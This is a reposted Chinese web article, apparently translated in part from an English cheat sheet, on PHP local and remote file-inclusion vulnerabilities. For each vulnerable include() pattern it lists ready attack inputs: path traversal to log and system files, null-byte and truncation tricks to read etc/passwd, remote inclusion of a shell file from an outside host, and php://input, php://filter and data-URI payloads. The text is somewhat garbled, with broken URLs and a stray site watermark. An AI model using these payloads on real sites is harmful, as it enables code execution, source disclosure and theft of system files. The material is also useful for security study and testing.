关于PHP文件包含一些漏洞分析
文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.
基本的文件包含漏洞,代码如下:
<?php include ([includes/] . $_GET [ 'file' ]); ?> * 包含同路径下的文件： file=.htaccess * 路径遍历： file= var /lib/locate.db (该文件非常有趣因为它允许你搜索文件系统) * 包含注入PHP代码的文件: file= var /log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)受限的本地文件包含如下代码:
<?php include ([includes/] . $_GET [ 'file' ] . [.htm]); ?> * 空字符注入(Null Byte Injection): file=etc/passwd%00 (需要magic_quotes_gpc=off) * 列目录(Null Byte Injection): file= var /www/accounts/%00 (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) *路径截断(Path Truncation): file=etc/passwd........... … (详细信息参见 here 和 here) * 点号截断: file=etc/passwd……………. …仅限Windows,更多细节参见here
基本的远程文件包含,代码如下:
<?php include ( $_GET [ 'file' ]); ?> * 包含远程代码(Including Remote Code): file=[http|https|ftp]: //websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php输入流(Using PHP stream php: //input): file=php: //input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) * 使用PHP过滤函数(Using PHP stream php: //filter): file=php: //filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) * Using data URIs: file=data: //text/plain;base64,SSBsb3ZlIFBIUAo= (需要 allow_url_include=On) * 用于跨站脚本攻击(Using XSS): //开源代码phpfensi.com file=http: //127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed)受限的远程文件包含漏洞,代码如下:
<?php include ( $_GET [ 'file' ] . [.htm]); ?> * file=http: //websec.wordpress.com/shell * file=http: //websec.wordpress.com/shell.txt? * file=http: //websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On)静态远程文件包含漏洞,代码如下:
<?php include ([http: //192.168.1.10/config.php]); ?> * 中间人攻击(Man In The Middle) (lame indeed, but often forgotten)查看更多关于关于PHP文件包含一些漏洞分析 - php高级应用的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://www.haodehen.cn/did30029